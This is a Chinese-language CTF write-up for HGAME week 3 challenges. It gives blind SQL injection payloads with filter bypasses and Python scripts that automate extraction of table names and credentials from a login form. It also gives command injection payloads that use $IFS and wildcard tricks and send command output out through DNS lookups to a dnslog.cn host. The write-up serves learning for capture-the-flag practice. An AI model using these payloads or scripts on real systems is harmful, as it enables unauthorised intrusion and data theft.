HGAME WEEK3

Login To Get My Gift



由于登入界面只有成功与失败两种情况,所以此时我们可以考虑使用盲注的方法进行一个注入攻击;这个判断方法我在之前的博客中也有写到过

经过fuzz测试后发现黑名单中含有我们盲注重要的关键词substr和length和=和like和空格和mid但是往下看可以发现right()和left()并没有被过滤;此时可以利用这一点帮助我们进行替换substr()
LEFT、RIGHT 函数返回 ARG 最左边、右边的 LENGTH 个字符串,ARG 可以是 CHAR 或 BINARY STRING。
所以此时我们原本的定位语句为substr(database(),m,n)此时可以替换为right(left(database(),m),n);然后我们利用bp
帮助我们进行一个半自动化爆破;此时发现数据库的第一个字符为L
payload:1’//or//ascii(right(left(database(),1),1))>x#


因为过程过于繁琐;最后得出本地数据库的名字为:L0g1NMe
接下来爆表名,因为=和like无法使用所以此时使用in来代替但是此时需要将数据库名转换为十六进制才行;如法炮制
payload:1’//or//ascii(right(left((select//group_concat(table_name)//from//information_schem
a.tables/
/where//table_schema//in(0x4c3067314e4d65)),1),1))>x#


最后爆出来的表名为:Uter1nf0mAt1on
接下来爆列名过程与上面一样;最后得出列名为:id,PAssw0rD,UsErN4me
payload:1’//or//ascii(right(left((select//group_concat(column_name)//from//information_schema.columns//where//table_name//in(0x55736572316e66306d4174316f6e)),1),1))>x#


查账号:hgAmE2023HAppYnEwyEAr 查密码:WeLc0meT0hgAmE2023hAPPySql
payload:1’//or//ascii(right(left((select//UsErN4me//from//User1nf0mAt1on//limit/**/1),1),1))>x#


因为不会写脚本导致解题的速度很慢且很枯燥;这里贴一下wp中的脚本吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import requests
import time
url = "http://127.0.0.1:10003/login"
i = 0
flag = ''
while True:
i += 1
begin = 32
end = 126
tmp = (begin + end) // 2
#tmp=79,中位数
while begin < end:
#print(begin, tmp, end)
time.sleep(0.1)
#payload1="1'/**/or/**/ascii(right(left(database(),{}),1))>
{}#".format(i,tmp)
16
#payload2="1'/**/or/**/ascii(right(left((select/**/group_concat(table_name)/**/
from/**/information_schema.tables/**/where/**/table_schema/**/in(0x4c3067314e4d
65)),{}),1))>{}#".format(i,tmp)
17
#payload3="1'/**/or/**/ascii(right(left((select/**/group_concat(column_name)/**
/from/**/information_schema.columns/**/where/**/table_name/**/in(0x55736572316e
66306d4174316f6e)),{}),1))>{}#".format(i,tmp)
18
#payload4="1'/**/or/**/ascii(right(left((select/**/UsErN4me/**/from/**/User1nf0
mAt1on/**/limit/**/1),{}),1))>{}#".format(i,tmp)
19
payload5="1'/**/or/**/ascii(right(left((select/**/PAssw0rD/**/from/**/User1nf0m
At1on/**/limit/**/1),{}),1))>{}#".format(i,tmp)
20 data={
'username':111,
'password':payload5}
r = requests.post(url,data=data)
#print(r.text)
if 'Success!' in r.text:
begin = tmp + 1
#begin = tmp
tmp = (begin + end) // 2
else:
end = tmp
tmp = (begin + end) // 2

if (chr(tmp) == " "):
break
flag += chr(tmp)
print(flag)

因为这个脚本我好像运行不了就模仿写了一个(现在官方wp可以使用惹)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import requests
import time

url = "http://week-3.hgame.lwsec.cn:31638/login"

result = ""
i = 0

while (True):
i = i + 1
low = 32
high = 127

while (low < high):
mid = (low + high) // 2

payload = "0'/**/or/**/ascii(right(left(database(),%d),1))>%d#" % (i, mid)
#payload = "0'/**/or/**/ascii(right(left((select(group_concat(table_name))from(information_schema.tables)where(table_schema/**/in(database()))),%d),1))>%d#" % (i, mid)
#payload = "0'/**/or/**/ascii(right(left((select(group_concat(column_name))from(information_schema.columns)where(table_name/**/in('User1nf0mAt1on'))),%d),1))>%d#" % (i, mid)
#payload = "0'/**/or/**/ascii(right(left((select(group_concat(PAssw0rD))from(User1nf0mAt1on)),%d),1))>%d#" % (i, mid)

data={
'username':'test',
'password':payload,
}

r = requests.post(url=url,data=data)
time.sleep(0.5)
r.encoding = "utf-8"
# print(url+payload)
if "Succes" in r.text:
low = mid + 1
else:
#print(r.text)
high = mid

last = result
if low != 32:
result += chr(low)
else:
break
print(result)

此时可以运行;以后如果发现为盲注的题目;我们需要进行编写脚本;不然使用bp进行辅助的话效率十分的

Ping To The Host

由于界面只有success和failed;并没有其他的回显通过之前做过的题目知道我们需要进行反弹shell进行一个获取flag
此时经过测试过滤了;cat,tac,echo,flag,空格此时cat我们可以使用ca\t或者nl进行绕过;flag我们可以进行模糊匹配fl*
空格可以使用$IFS进行绕过;此时的重点是如何将信息外带出来可以使用该网站http://www.dnslog.cn/
经过测试发现逗号也被过滤;所以只能一行一行的查看

1
payload:`ls$IFS/|sed$IFS-n$IFS"1p"`m0kw7s.dnslog.cn


发现flag后我们进行读取

1
2
payload1:`c\at${IFS}/fl**`.m0kw7s.dnslog.cn
payload2:`nl$IFS/fl*`.m0kw7s.dnslog.cn

Tunnel

因为提示附件有问题;直接打开记事本查找flag